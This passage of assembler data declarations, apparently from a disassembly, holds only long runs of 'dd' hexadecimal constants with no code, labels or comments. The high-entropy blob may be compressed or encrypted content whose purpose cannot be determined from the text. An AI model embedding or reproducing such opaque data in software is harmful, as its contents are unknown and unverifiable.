84C22F9h, 0BE839C98h, 723AD899h, 2E7F2438h, 0A7750FBCh dd 0C089h, 853B440Dh, 59175492h, 640880DCh, 0A65C406Dh dd 2053F35Bh, 8E4C8420h, 77215760h, 0C5CEAB02h, 0B0CD8DF3h dd 4C7EA5B8h, 0B8B48AAh, 0F9CC84h, 0B6FA1456h, 94AB00E6h dd 0BC5ED4ECh, 320953B4h, 0A08A30F3h, 63D2AE34h, 0D674017Eh dd 0EE0D0C84h, 34A3D183h, 0D9004B2Ch, 7E377363h, 12FA2567h dd 6E0E62Ch, 0B8149588h, 1823711Dh, 2840B493h, 25999DF6h dd 62E0F883h, 0E28F1801h, 6286AB40h, 0D8D6F833h, 0CB9DD052h dd 0D48B4CB7h, 0E0D06D80h, 0E58E98Fh, 4A3E0C88h, 88E1A4h dd 9DACA80h, 292E89CDh, 219D09CDh, 0CAD8CCh, 31E755DDh dd 0BBD243E1h, 8DD3AA02h, 809157D0h, 583501F4h, 0D34090AFh dd 0D6540292h, 0A46829D5h dd 2500DA12h, 0ECF4A363h, 0CDE4AB8Ah, 0C8211408h, 2A0025F1h dd 8B112BDh, 284B8029h, 54A37Fh, 0B2E71FAEh, 0A2AA0D21h dd 44D0BC00h, 654F0BD4h, 2FA315C0h, 7B2CB099h, 97CD0373h dd 0C7ABBE5Fh, 0EF2F5ED8h, 0A3875401h, 0F8D20846h, 0CA11B030h dd 3FA81746h, 66B02980h, 2FF3282Dh, 0B780A894h, 0BDE9ED5Eh dd 24E13869h, 67D9760Ah, 922600A8h, 8DB7C690h, 0D6819163h dd 43D90018h, 19049EA0h, 0B47876D4h, 0D9673D00h, 78B7309Ch dd 311C187Dh, 0D350697Fh, 0A264A00h, 220DD73Fh, 0DD2700C1h dd 7FC60EA4h, 0B9249772h, 0C5426C0Ch, 0F2C80C8Ah, 0D1014093h dd 5E747F63h, 4C889918h, 116314D8h, 8414A732h, 0BA00DCA1h dd 6F10550Ch, 0F24C61FAh, 989D1F2Dh, 0DADC7200h, 1C5B3D80h dd 808831AEh, 6D5795C7h, 8E02CF93h, 151C09E2h, 0C4A4802Ah dd 0A559BF0h, 8BB6F2F4h, 0CA420ACh, 0C6599773h, 0E13AE0C0h dd 3945471h, 0F1581D12h, 25D8C009h, 0B0019064h, 5EEC1EAEh dd 740B5C21h, 0ABC4A388h, 38225F80h, 0CBA000BFh, 0CDF40531h dd 0E70956F3h, 20548DEEh, 0B8529E8h, 1F720CB0h, 0AAA8F4B1h dd 2AD6E511h, 0DF935800h, 69026E19h, 21C41601h, 0C608C02Bh dd 49437C20h, 66005891h, 2FFCCEE7h, 0CA7C942Eh, 18A91B12h dd 0C43A3425h, 4D009F23h, 43A3E6FCh, 6B10B4A5h, 0F2657402h dd 851D7F21h, 0C381218Fh, 0D86CD4C0h, 0C693572h, 6B180F59h dd 0C1AC20A0h, 5E0CEh, 2F0FEB3Ah, 9DE181F4h, 0D369E18h dd 5C3BA69h, 657F47A5h, 7BD4C221h, 0D9822520h, 9E72000Ch dd 1E24FA26h, 94FECF57h, 0B4BF9906h, 30790A38h, 0C9511931h dd 0B87675B2h, 40D29C0Fh, 0DE00BFCCh, 0EF641B0Fh, 0F1C4A080h dd 0C44082F3h, 7180A040h, 8B614C8Fh, 5A29250Fh, 0F604A560h dd 9C24A33Eh, 0DF1114ECh, 9263CE80h, 448CB674h, 0D600B7A1h dd 37C41463h, 793D433h, 73D9EAF0h, 8BE0B2F9h, 0BD4C1C78h dd 1D5236Ch, 0A36225DBh, 881718DCh, 8FA0F2E9h, 671EAE08h dd 8ABE3633h, 0D047A77Eh, 8CDB2980h, 18E288F0h, 19B24366h dd 4C011607h, 206D93C0h, 34D45E1Ch, 12817DFh, 0D9B60FA6h dd 0F79673A0h, 0C800B158h, 0D471EE8Dh, 0F0E53B52h, 2E740587h dd 407A2F84h, 6217E684h, 0FC009CBFh, 380A500Eh, 0EC917082h dd 24D6714Ch, 564E9CEh, 93BC7D21h, 41D630DCh, 3E090E61h dd 85F5F262h, 60301030h, 223819F6h, 0C91F7739h, 0F2115BAEh dd 0E36DED0Fh, 9E892686h, 24901B74h, 0BDA6312h, 23D54831h dd 0BB7C9C50h, 2964019Eh, 33080772h, 434820DBh, 0A690B454h dd 81C52138h, 44260375h, 60C4AA97h, 319D00B1h, 7BCC40Eh dd 34A05021h, 1963D5E9h, 0E0FA3161h, 1C43588Ah, 8057845Ch dd 0D1100ADEh, 0E709E968h, 2075ECFFh, 21D26614h, 73170026h dd 6F7289E0h, 9894E92Dh, 0C48AAE00h, 90CF3E79h, 2989010h dd 73E5AB59h, 6450656Fh, 0E0437109h, 0D6008211h, 93ECD92Eh dd 0DA1C30CEh, 5001FD78h, 38133627h, 0DC26AAF9h, 30CFC824h dd 0FCDF3139h, 4292F200h, 4A0502A6h, 8F49C0B6h, 838D6140h dd 0B73CCC00h, 1335E0FEh, 6C893D0Bh, 497FC13Fh, 9D0C58A3h dd 0D8911028h, 88FC3B4Ch, 0C465036Ah, 1FA8EC66h, 164A551Dh dd 463DE00Eh, 391830h, 0B231F76Bh, 4429127Fh, 0F9FE2A00h dd 62885A50h, 307B6059h, 0DA64F7B7h, 0CBE8C650h, 930BF098h dd 948DB6ECh, 7A10158h, 9BFC236Bh, 217874B3h, 0F29C2700h dd 9D4DB052h, 399F6024h, 6C37190Fh, 0DA0B48B8h, 0A27C8B91h dd 58A5D594h, 0D8D08154h, 0E00AE026h, 2C846525h, 0F7F2704Ch dd 0CB1F2500h, 2F1C87BDh, 0DC44180Ch, 216D5807h, 74E26012h dd 74905C26h, 0CFE180E6h, 176329FCh, 0F89B2611h, 2D81AA3Fh dd 5EFED2F8h, 0DF924800h, 1D85E11h, 0FC86146h, 74B18F21h dd 10200DACh, 0AA8705A7h, 90153520h, 267ED8A0h, 0A8625494h dd 0A665049Ch, 9D3A0668h, 70890B21h, 0C450988Fh, 0C830CD60h dd 0B30979F0h, 20D968B5h, 62657E00h, 0F5302AF8h, 3AAF0FCCh dd 0BD4156BEh, 39D5F127h, 8AE500A4h, 0EA7468F9h, 0D06F2459h dd 0BD3143ECh, 9E16610Eh, 2419A115h, 0E9F06295h, 65473992h dd 5DB6B581h, 209CD712h, 32057304h, 9C7A3C8h, 91001C8Ah dd 70778F6Ah, 0E3002235h, 0B14DD1D8h, 401C2B55h, 7D2097ECh dd 2AA708E9h, 0D6169F91h, 0A43F78D0h, 2D5E009Ah, 3A15C8BAh dd 0F30C4B4Eh, 38F5E997h, 78930ADAh, 1494FB5Ch, 0E180B44Ah dd 6497D2ACh, 80803158h, 0B63EA596h, 0B28200D1h, 0CBA1504Dh dd 4676864Eh, 1D92C60Bh, 7CE86831h, 0CEE400BDh, 225CA2B1h dd 0C31751CAh, 0A40091C6h, 783DEA0Bh, 80904863h, 0CFAAF302h dd 1082A786h, 14F0D11Ch, 42C820F7h, 0C4F45B51h, 0A1607ABFh dd 3FBB66A9h, 0FE490DDh, 673A480Ch, 94C3498Eh, 4001FC7Ch dd 3C096B73h, 1181FE9Ch, 351FAE72h, 8020692Ah, 0D06589B7h dd 0B65A07h, 3EBFD490h, 29090BD9h, 52A39DC5h, 8938304Ch dd 73309390h, 0F8BAEF04h, 2883742Dh, 0D11895A9h, 7E5AE820h dd 20D55315h, 0BB04D0C2h, 712C531Ah, 0AF7DF01Ah, 30D58D12h dd 6FC8D020h, 8FC70069h, 67A40E01h, 0CAE807A9h, 66D921C1h dd 3DDCFD69h, 590B28C4h, 40292690h, 6CC18038h, 5585AFB7h dd 0ADC3C700h, 86972B9Bh, 95C57808h, 9FE86CA3h, 6AB6D7C0h dd 5BD2C705h, 1473325Fh, 0ACC6C1BAh, 3E7B30BBh, 0D73C0681h dd 0B50058A0h, 863FBD55h, 1ADCE5Eh, 0C2FD8EF6h, 83BE5BB4h dd 0D3C36A90h, 301848F7h, 0A9B55E01h, 0FDBE5A82h, 2880B3B2h dd 69D4A057h, 0CB97451h, 0D3B6F987h, 0D77ABF78h, 85C31C7h dd 29B7596Ch, 0A60CB8D5h, 6B294F60h, 0C200D05Ah, 0C6F981D2h dd 2C545CC3h, 6074D6BDh, 794C6F0Bh, 0E105C0B4h, 4B2A00Ah dd 0E7340C52h, 1E64E331h, 4640AFE5h, 39681123h, 7E4D090Eh dd 0F0321349h, 2CBE9459h, 0B011857h, 81ED0DE1h, 0C10869D0h dd 0C717E5B9h, 0E0D83020h, 67F82DF0h, 0FC044E5Bh, 8B1D2AA2h dd 0A840E7ABh, 3180E5B1h, 68A1CAC3h, 298A0818h, 87ED0E06h dd 26244268h, 0D941BC30h, 199848D4h, 8DA759B2h, 8B0911F1h dd 0E28C2F01h, 0CC840A4h, 192D28BEh, 0B88DB229h, 2F59840Ch dd 0D60A28CAh, 4C4341A8h, 2A308CF2h, 1293511Dh, 41866C8h dd 906E4AA8h, 0EC23A384h, 59E822Dh, 0D06241BCh, 7D3818A1h dd 1825708Ch, 3078DF77h, 69DDE530h, 194BC104h, 817F814h dd 0D818171Dh, 8C104F84h, 0FC4C9C98h, 751FCB80h, 30C41E59h dd 0D0A0BA30h, 434CAA8Bh, 70B15F4Ch, 8B695994h, 39BE8A41h dd 1C351879h, 80D6316Dh, 2928909Ah, 6C904C7Dh, 0A4DCB1D7h dd 6DA72237h, 63B9A960h, 0A4C1C894h, 85227CA4h, 34491767h dd 3BB8C474h, 84052CB9h, 0F3E25C42h, 8CEEF118h, 0B1C0D14h dd 42043E28h, 2C11C2ADh, 0D21D841Ah, 46841A28h, 0F7A1A154h dd 2184770Ah, 0F9F8A87Ch, 161085BDh, 21D4A488h, 0B944C271h dd 835CC22h, 0CE51C895h, 0A743F408h, 18F4F1F1h, 909D231h dd 6CA20D5Ch, 6065230Ah, 34425513h, 44C48964h, 46211360h dd 82B09430h, 2804A78Ch, 8F510140h, 9D64F3A6h, 734C2758h dd 0CE623209h, 4A7EC78h, 50A1402Ah, 0A45969E2h, 0B0A2908h dd 89AE8C4Ch, 0ADF42849h, 0A4249E2Fh, 38C81FF4h, 323CAED5h dd 0B5404F8Bh, 74356B20h, 2FE89177h, 0A81B18B2h, 63CB410Dh dd 0F3E02121h, 48A49372h dd 510B0438h, 79A4A4D6h, 48BA1100h, 8A42A7A9h, 0F4B5541Fh dd 268F70E0h, 0F148307h, 576C68ABh, 727FBA58h, 0D8B052h dd 0AED1AD29h, 3A21828Dh, 6F921894h, 0C0905F81h, 0F2AA8E4Bh dd 1F14730Dh, 0C19E9h, 9ADA6ADDh, 3A2BAB57h, 56006B99h dd 0C9713AB2h, 300E72AAh, 4B7D9D0Ah, 0D7A49022h, 91D30F84h dd 0B4E9B023h, 0A2408080h, 8BE4288Fh, 0CA60B0C0h, 7E300CCEh dd 7D189049h, 802074B8h, 2100D96Dh, 0A90EB901h, 13A36ECFh dd 0F26405h, 9B468794h, 400010B7h, 0C1AFF8F7h, 6525C2h dd 0B828B35Fh, 6996C5CBh, 7B4CD5Ch, 2402CC5Ah, 9AA61B80h dd 0BF1E007Bh, 0B5CDF0D3h, 5F72B428h, 0CBB03E00h, 0C6B92208h dd 82963AB7h, 0C728BC33h, 0D06A100Fh, 1AAE80B4h, 1E823CC1h dd 8321B55Fh, 67D8081Bh, 6AE0C9C3h, 0D33CC0CBh, 28B81E5Eh dd 0D7BEC801h, 0B6DD015Bh, 5F04B8A3h, 24C5CC70h, 3AB41A5Eh dd 0EBA0102h, 18943FB5h, 29503718h, 0AA7A10h, 2A6C18DFh dd 0CFD9B8F5h, 402E521Fh, 18BCFB4Ch, 2194001Bh, 0B1E281EFh dd 15603F5Ah, 0F9D23B59h, 3AC400B2h, 2FFFB5D7h, 0B00631Dh dd 95B4138Ah, 775F8B1h, 8FA5611Bh, 0FA298010h, 0DB01E50Ah dd 25B495AEh, 6ADCE48Eh, 7A159833h, 0C7CD0014h, 0F33B3D2Ch dd 9C376428h, 0BA811863h, 7081C962h, 8A3C472Bh, 0C68183FEh dd 77BFB8B6h, 11C4CFE9h, 313E1D7Eh, 0E88376F8h, 9101A59h dd 0C587A399h, 0EA4291B8h, 1C031E72h, 8207034Ch, 921DE3C0h dd 2A492818h, 28C00968h, 318CB246h, 34687DC7h, 69F89551h dd 241B1EBCh, 408475CDh, 80710BF0h, 1DF2FF8Dh, 6B5F7D1Eh dd 0B6B14E18h, 649F2B19h, 0E083828Ch, 603C7F62h, 2872807Eh dd 0B515F1AFh, 7CF84810h, 5131D000h, 379E2162h, 0E598A83Dh dd 89BF0067h, 8A8BE3CAh, 0DF89815h, 481489CAh, 9E2AB10Fh dd 0D0E72CA4h, 0C6641589h, 0CA0F0920h, 809C7651h, 0F05AA68Ch dd 0DA2E00F8h, 3ED45EFBh, 800CCB8h, 0C3D05F26h, 0F0C2B028h dd 1678B3D9h, 0C3501CCEh, 0C7F13CB5h, 30D496E0h, 5B00D774h dd 9AD3C4D0h, 539F9D62h, 0AB0044F4h, 0C8310D58h, 1E56B7CAh dd 9340F04h, 0CA99CC9h, 7F0F08A0h, 913EC7C6h, 85301129h dd 4F27FA7Ch, 24880E08h, 20C08C6Fh, 44A0A7C4h, 0C4500A3Eh dd 538CF4BFh, 5432089Ah, 2C250F09h, 0CE9CE07Ch, 1094A861h dd 5224CEA2h, 9111FE4Fh, 70109F08h, 40507040h, 9C9BC069h dd 50B2157Ch, 0D385C4F9h, 18C645Fh, 5AFC7C50h, 0A428A9F2h dd 27092E19h, 25242412h, 23912A48h, 22B5A010h, 9FA644A1h dd 9D129C89h, 9B48A224h, 19491899h, 199E0999h, 0E3141317h dd 0C8D88818h, 0DA2B0A89h, 8CECD4AEh, 0DB83D0Fh, 239484A5h dd 0ECC5BA04h, 0C8080AB5h, 0C1D601BCh, 0F07B2859h, 0E1F8D83Fh dd 0B70799F8h, 9503D50Fh, 3D293AC0h, 783774C2h, 7CBF780Bh dd 78E77C33h, 2340C81Bh, 10FD9508h, 3D818B9h, 0F029C570h dd 6B084A5Fh, 443FF48h, 3CC9AAFFh, 88808859h, 84C55E2Fh dd 0F0D04509h, 38A51136h, 81A7258h, 3F80C6BEh, 0B7299F01h dd 9919EC8h, 0B18419Dh, 0E0AEFA04h, 0C478Dh, 0B767E939h dd 0A55C199Dh, 548E10A0h, 0D7038A5h, 9E710168h, 8B31647Fh dd 1523F063h, 0C5B918C0h, 0E9AB2BDh, 1B14CB0Fh, 0E53E1C54h dd 68976E00h, 3CF0F463h, 0BD5E28A4h, 2003E4A7h, 3FCEF1E4h dd 0F837280Ch, 0FF3019h, 2FCFC3E3h, 19EE161h, 7CD9E400h dd 0B4265B3Fh, 0F1D707C1h, 50C21E7Bh, 0F7BE1A81h, 0BDFD1000h dd 0C5CBAFD3h, 0CDB300C1h, 1AAE3FBAh, 7D7CB5E9h, 6528C907h dd 6340C52Ch, 0D3C7C6h, 0D2E33FCFh, 22C92164h, 4029B830h dd 61B4CC67h, 0D4C274D3h, 0F0404969h, 0D1EA295Eh, 27FEB30Eh dd 0C5C381F2h, 304DB422h, 25BB9882h, 1C981A5Eh, 3C20C927h dd 0CDB603B5h, 5F22C2D0h, 609ABCA2h, 3D62EC15h, 0A420FD5Fh dd 5DFBFE0Ch, 18B7362Bh, 80A4D9AFh, 1A4E4B0h, 5E2B0FB7h dd 0BB1E2C3Fh, 0FC4B454h, 800D9E21h, 0CC01ACAAh, 7C38A625h dd 21300B5h, 0BBC3A1AAh, 4AE9AFD8h, 3A404714h, 80AAB83Fh dd 6A39E313h, 143AC91Dh, 0F8BED0ADh, 0EB7C102h, 9C650BA3h dd 87C9605Dh, 0F300D42Ch, 0C55B2D7Bh, 53F84h, 0B1CCAD29h dd 0BD1A6521h, 13133498h, 5D28C4h, 28305E1Eh, 49B75B11h dd 0D0098AAh, 0E1FA386Ah, 0BE131BACh, 4002633Fh, 405AAD21h dd 78CDF3A8h, 20684CCCh, 0A93B6C94h, 24C1367Ch, 74AC5008h dd 9AE7F719h, 1C721191h, 0E70DA0EBh, 0C15A00D6h, 2BF122BBh dd 0AF4AD2B8h, 29B298ACh, 0D2085840h, 0BAC65E16h, 1D01540Fh dd 0D0035C93h, 0C003B421h, 0C4C4B03Bh, 0C0CA5D40h, 0C0CCF0C0h dd 5F64D706h, 0C00825B1h, 0A61A6210h, 1B2CAF9Ah, 0C60B9EBDh dd 1E7002B7h, 8FC61B4h, 906096E0h, 0B83B18A0h, 0C76410CBh dd 0C68260C4h, 5F65AC80h, 883F69B4h, 40D80C55h, 0D0671D96h dd 0C8AF1BB5h, 0AAC481C3h, 5F60D4D6h, 9294E5F1h, 3FAB3FA0h dd 0F852AAD0h, 0D3B80F9Dh, 0D4B05F0Bh, 0B00B299Bh, 191CF0D2h dd 23E0FC60h, 0B4390EC9h, 0E4DCB75Fh, 1E57E9B8h, 1CB74CB0h dd 7484B84Ah, 1A613D01h, 36AE96C2h, 0D0300BF3h, 7C0B3EB4h dd 2E470FEh, 0B0BF0CF6h, 59D3D70Dh, 2C75C4ADh, 16B4C3C1h dd 5FE4701Ah, 0C99D7C7h, 98021E96h, 0C1C4CF63h, 43D21ADCh dd 0F828A6D8h, 0C4C558CCh, 5F1C0692h, 0B72C09C9h, 0E429C425h dd 0CC50994Fh, 3965C064h, 20DC3E9Dh, 0CA69AF0Eh, 69B4189Fh dd 0D9F8D064h, 0B75C5C74h, 5E258520h, 3C212C2Dh, 0CC8039F3h dd 65ED713h, 0F86A0F34h, 0D0AD9603h, 0E66426BDh, 809B62B0h dd 1892B3C7h, 0EB385040h, 0C6FB55Fh, 0CC1480AEh, 0B630ACFCh dd 62024F84h, 9E1EC437h, 7918217Ch, 0B4C864D0h, 1A62F305h dd 50A322C2h, 0C5002DE8h, 0B4CAB8C1h, 2E3869D2h, 8164C6C2h dd 0C31A5D3Fh, 0B31855D3h, 0F15044F8h, 0DFD7FF00h, 28BDFBF0h dd 2520B86Ah, 0F0D6B925h, 0E1B01B89h, 0B8D0C744h, 24C24FD0h dd 0D4F33Ch, 0CBB3F528h, 633BE5h, 5B25BEC6h, 653CC5C2h dd 58C095Ch, 3ACE1EB8h, 0EBE990C3h, 27E5A1D7h, 71508005h dd 21DFC1C7h, 0CD650EC0h, 2764D1C9h, 50A4BBC6h, 0CC8B6D3h dd 68CF89B6h, 5CFC2E7Eh, 801E14E0h, 76345E29h, 0EC0BCD4Bh dd 8550EE64h, 0BBC3F034h, 9070215Fh, 4AC21ED8h, 0F72C03D2h dd 0F3A02680h, 0BB04CD5Eh, 0C029F128h, 0D3C00097h, 3ABECB68h dd 0C128ADD7h, 5F4EC8h, 1711B830h, 1274626Eh, 1D6AD703h dd 0F6540AAh, 0C4F3910h, 0FD98B601h, 1B94D0ADh, 463A40F8h dd 4F6F8C4Dh, 75742019h, 77451E25h, 496E400Ch, 503A6517h dd 6A0C1274h, 81B1646h, 77B77CADh, 64191E77h, 6E18FE73h dd 68952875h, 893EF67Bh, 45140046h, 6E0D20B8h, 6920C04Ch dd 76172160h, 0E017574h, 184D4A40h, 0A8D0736Fh, 1F4F1D44h dd 6ED801AAh, 0F1958DB4h, 1846F0A9h, 0B87D1706h, 0F038A56Ch dd 73B70719h, 0C76B1316h, 889B5FFDh, 1B4944E8h, 9677B7E8h dd 403B1333h, 1997C011h, 4D740214h, 69B6D31Ch, 45758080h dd 0CC00D112h, 41140CACh, 30A80E44h, 6960B83Ah, 45E86D49h dd 0FDF1737Ch, 4228868Ah, 41E90FB8h, 5890D621h, 0AD06D9D7h dd 0AED5D684h, 0FC863008h, 0D1264648h, 150EB675h, 7DB8440Eh dd 164C4741h, 0A6E775A8h, 540CF888h, 3A4778A6h, 44051322h dd 169A917h, 63B6A5E4h dd 433BE416h, 6CE80E66h, 4F6E3DC0h, 89D6AA9Ah, 49F70417h dd 4469B400h, 73E6A620h, 6D9C0900h, 4B85124Ah, 76933014h dd 882A4231h, 0A5D46C00h, 0E0CB86B9h, 0CE080067h, 0E30AEFBFh dd 0FE17534Dh, 16039A69h, 98AEE641h, 184B8Ah, 98877C2Bh dd 256B20Ch, 1207E103h, 98783EC8h, 0C6E22D9h, 724F1B53h dd 1800AD40h, 0EFFC699Eh, 63672116h, 9B68888h, 587BC1E3h dd 4BFB3B00h, 38A8D399h, 2C80065Ch, 20ABAA42h, 4045D602h dd 9C2063B4h, 0E86E1020h, 0A3E3CE98h, 3F63B3ECh, 1B80AA78h dd 3F10184Ch, 60C4AC67h, 4446A8C6h, 0B422C836h, 3C217437h dd 2AFE6566h, 0B4D8FFh, 2898CA2Ch, 0DA83AFC2h, 8057D14h dd 1476C81Ch, 0F180D0E5h, 7AD13331h, 81DAC800h, 322F5EA0h dd 0A59800E6h, 72FDAAAFh, 0CD408D5Ch, 14B80084h, 0BF4879E2h dd 0BCA37556h, 0D06685C8h, 4D59B160h, 381139Ch, 0D5AAC8B6h dd 830C92Eh, 0B46D214Ah, 31741F13h, 4F7980BFh, 0A250F64Dh dd 69A58E30h, 7E0495h, 9CF7E3ABh, 648AE9C1h, 39E02705h dd 98011029h, 0AF2DF1B3h, 0EC049444h, 1940759Bh, 69EA56CEh dd 84C8A063h, 0B7FDA13Ah, 80E6B095h, 62D29284h, 0A71C9955h dd 0B4B0FE02h, 38C2B17h, 9859FCB7h, 0E3887E3Dh, 0BC2920EAh dd 7F03F071h, 0AB58A6h, 2290B379h, 5AD1E318h, 8269312h dd 0A421542Ah, 0BA49AE98h, 233EEE1h, 0E6CF8A3Fh, 1CB19D09h dd 0E43C02A6h, 0B948A180h, 0F114B41Ch, 3A4B145h, 8CFED86Ch dd 0B63103CAh, 4D9DEC80h, 558851E8h, 9C089465h, 0EC67D420h dd 873600DBh, 6E139132h, 0A931F9B4h, 0A4ED508Bh, 0C9CB9C50h dd 51B80088h, 45D96E8Dh, 0DA1DB6A2h, 4A8028C1h, 254381C3h dd 0EEED0F2Dh, 87EAA9ECh, 4BAA80D4h, 0F944B901h, 0EC90B049h dd 31DCAE43h, 63C9A68Dh, 0F947ECE4h, 0A2CD5A00h, 0D37F4BD0h dd 6B200328h, 3F4F2185h, 2D7A6000h, 8058C91Fh, 0D7191414h dd 0D011CCF6h, 0ED9F0042h, 272BAF12h, 6A79004Ah, 858FA8F2h dd 8C3F1B46h, 48E09856h, 56D86DA0h, 7E02B8FCh, 7C4D9FECh dd 93109B31h, 1900EC65h, 0B74F9F71h, 14B43426h, 8CA6B904h dd 20865EACh, 303E35E8h, 789E2432h, 0E5A28828h, 0C14588BCh dd 9711200Eh, 0AD4E80D1h, 0ABD5EEB9h, 480AB0C4h, 192F0172h dd 7158CA69h, 80C1D168h, 48029421h, 0A24D8E0h, 33D05AFAh dd 0E1A180ACh, 3F2E9F4h, 8E99983Dh, 0E97964BBh, 0FF5C049Fh dd 0A2EC7B60h, 11444D23h, 820679B1h, 15438BECh, 323F775Ah dd 3D70C966h, 0C1FBB820h, 0AB7F001Eh, 0B195CEA0h, 18E2D3E8h dd 0A5228C0Bh, 973C20A4h, 0C70595Dh, 39589FC6h, 9303841h dd 38571C9h, 0CC8A48C3h, 8E14EF3Eh, 6328D4B0h, 2B64690h dd 2F5D4803h, 971C1C01h, 4A0147FBh, 0CF25B637h, 55835840h dd 97D10EA7h, 0D3A3DD1Ah, 91F8209Ch, 44989934h, 286F3600h dd 2D1DBE08h, 0AB6528C2h, 0F88309DCh, 1403398Bh, 510038D0h dd 3CF004D3h, 0E055F1A8h, 16AF488h, 208EA9B4h, 85BFF753h dd 648513D0h, 0F49E0098h, 0B8B6237Fh, 6B3E3F11h, 0C5C3138Fh dd 0F31B4D81h, 0F488067h, 7EDABEF0h, 0C31924D6h, 0BAD887B8h dd 0EDA84CA1h, 22FF4922h, 0A40036D1h, 2EFE1521h, 155D462Bh dd 0BCC8EC38h, 62104B3Dh, 0F0080371h, 6B0AF19h, 0AE2F1340h dd 0BB3B58CEh, 8FD0CC9Fh, 0B26FA0B4h, 1C2688FBh, 0CF14E652h dd 0CFE18F58h, 82705704h, 7DE1B650h, 18F4CAB3h, 284A688h dd 3CDC1EE5h, 8E0AAEEh, 58808E4Eh, 0A35F0E06h, 6DA92CCDh dd 93000814h, 27145550h, 61073D1Ch, 0CF63C9A4h, 32A1803Ah dd 2DEB2077h, 0A449002Bh, 0A82A81E6h, 0E4A68408h, 37D122h dd 0F6805E3Fh, 54BA9A3h, 25FDE4EBh, 0F7748A00h, 49F203EFh dd 3864616Ah, 6DB9AAh, 914A73ADh, 9359004Ch, 3DE9D03Fh dd 0FCBE4324h, 3A01615h, 9569D70Eh, 64390088h, 0EE06155Eh dd 0B119B48Ah, 5C088B05h, 66C42180h, 0A2A47815h, 0EF988201h dd 732EA9D7h, 8ECC8D11h, 0E0410BF9h, 0B29DFE75h, 2FFF0651h dd 78B455BAh, 6F304A71h, 966DB835h, 0E0BC8971h, 0FF00E6E9h dd 0F9D4CC81h, 3F37C941h, 8309EE0Ch, 18976D1Eh, 0E7879B91h dd 41D5208Ah, 0C3038EDFh, 0ADC8C104h, 50ACFA5Ah, 0E2231444h dd 0BA04EC5Dh, 29D6109h, 494F1CD5h, 0A6E4B674h, 0CF18C0B2h dd 0BDF153E9h, 4D10BC67h, 28D06C7Fh, 40E2F2B4h, 541808B5h dd 6F186CF6h, 74DE0305h, 505BD93Bh, 1EF0200Fh, 5065D2E0h dd 1EA3CC1Dh, 0B67A8EA3h, 4664AB08h, 13BB7040h, 3704EF82h dd 99565C16h, 320FF498h, 35F03944h, 8D08A08Eh, 0A3EC7A60h dd 225C464Dh, 8187079Ah, 24AC2CECh, 0A6C8904Ah, 672049EEh dd 32900AAEh, 51ECB13Eh, 0A984172h, 0F66E00ADh, 4C7315DFh dd 6880BCC3h, 22526F1Fh, 4CAE4C9Bh, 24414656h, 560AD8BCh dd 974BD0A9h, 803F9170h, 0CC31BA5Ah, 7A472A1Ch, 0E20930FCh dd 0F0E74BC9h, 8780FC91h, 0C40D9E2Eh, 87E0A03h, 94C2DA0h dd 6C207496h, 0F2868939h, 4821AC00h, 0C4E716ABh, 56E67AF6h dd 9F1288DDh, 67C0D531h, 7822C244h, 2BA95060h, 0ED598B60h dd 0A2ABAC11h, 0CAEC82B8h, 0A18D0298h, 4DA0E0AEh, 6F9BC713h dd 0CA2FD807h, 3059A81Ch, 79EE204Ch, 48456011h, 184CCC51h dd 65A0C550h, 139D048Ch, 62B0B680h, 0B56E2140h, 3746D013h dd 0AFD11518h, 0F2941D19h, 73B71EBEh, 2EE17055h, 7C909EA6h dd 9CCE0F24h, 0CCCAA964h, 0DF93D7Ch, 49A2EC56h, 704130h dd 0D41898B5h, 93F4B1CCh, 83019899h, 2CC40530h, 1F238C4h dd 0B3DD4BAAh, 29A67E09h, 8D0210B0h, 0A1EC7CC0h, 9C914C4Dh dd 0EC6389C0h, 0F564B0C6h, 0C5B3810h, 6DC22E12h, 0C8339839h dd 23049A2h, 65DF3C4Bh, 0D0DCF680h, 0B1F1B9F9h, 0BC8549h dd 47CDA4E2h, 12CB251Fh, 60A8A621h, 0D5741EC0h, 7C1837F9h dd 35A89B05h, 0D840AFEEh, 396C247Fh, 0FF600A2Ch, 890FED4h dd 467CAB4Ah, 0B5910099h, 45362E73h, 0AC9318h, 16E66893h dd 60CACB8h, 89A9EE9Eh, 3E5007FBh, 30573B67h, 0E930E249h dd 72070500h, 0B1E690Ah, 5B09890h, 1C2113A9h, 0AAB098A6h dd 847CE02Eh, 9F186351h, 0B6237EF4h, 4411A0h, 0BB13B76Ch dd 3B4801Fh, 0E6635382h, 210034CFh, 0FA6F744Ah, 48DCE8DBh dd 5C50CA2Eh, 38774993h, 258017h, 5ABBB88Eh, 6A0F53F1h dd 0A169472Ah, 405CB45Dh, 0DFE02850h, 0BC50012Fh, 0A2DCA6EFh dd 863860ECh, 58608850h, 9A27A8Ch, 0AB18B67Bh, 6F071C16h dd 0C04413BAh, 0F59038F7h, 731A674h, 3E9527E6h, 231720FBh dd 149BFF80h, 89597200h, 2E0E1650h, 0E1D82A45h, 5D5AF1Bh dd 13563061h, 1254ECC2h, 8CB5AD4Fh, 4804069Ch, 68F92F5Eh dd 0FE00982Ch, 0E928FC47h, 58DD16h, 3A0FEF83h, 0D942EC36h dd 20747E13h, 84811894h, 0ED009F0Eh, 5A4A3B31h, 0B9701C77h dd 0A911150h, 6E9620C3h, 0CF80BDCCh, 0C709FA6Ah, 2B3EFC1Ch dd 0D1DF0C5Eh, 17A438A2h, 40CE534Bh, 0DE060F14h, 0A609855Bh dd 9AB7C44Ch, 2EF801D8h, 32C83C2Fh, 0A485027Ah, 1C116FAFh dd 0C7436451h, 5E8BE1ABh, 4C155881h, 70ED628Dh, 7F8C66D0h dd 0EE09115Bh, 87788872h, 211563C7h, 242B216Dh, 0C2123078h dd 18DCB2C5h, 41343F79h, 75B0D630h, 0B330322Bh, 0CEFA87Bh dd 0EE7E06DAh, 305E1321h, 31577358h, 0CC1AD01Bh, 64232029h dd 7157101h, 601842EEh dd 0C059C988h, 0A9DB64C0h, 0BF00D2FEh, 3D5A73D4h, 0F28BEA58h dd 0C1CB0A3h, 8593559Fh, 0E116B638h, 0C20B5A5h, 80978076h dd 0F2F04C82h, 0FD9C6E50h, 0DD3BD0A1h, 0E440107Ah, 480E753Dh dd 0B0643CD6h, 155C6067h, 5AEE2304h, 0C6015E11h, 56221564h dd 0D7B88175h, 7031AACEh, 278C2192h, 67347080h, 7E5050D2h dd 2E58A6A3h, 60049380h, 0D4F4A7E9h, 88F17C38h, 1E6724CFh dd 5C2B4C1h, 252852BEh, 0D4A46BD2h, 0D0A16359h, 4C10B67Ch dd 72B050ABh, 371D13B9h, 6D40F140h, 2D661D03h, 21F0157Fh dd 4F01E8F7h, 4D681A8h, 4069A6CFh, 7B5800DEh, 0F9F696ADh dd 0DA584A5Dh, 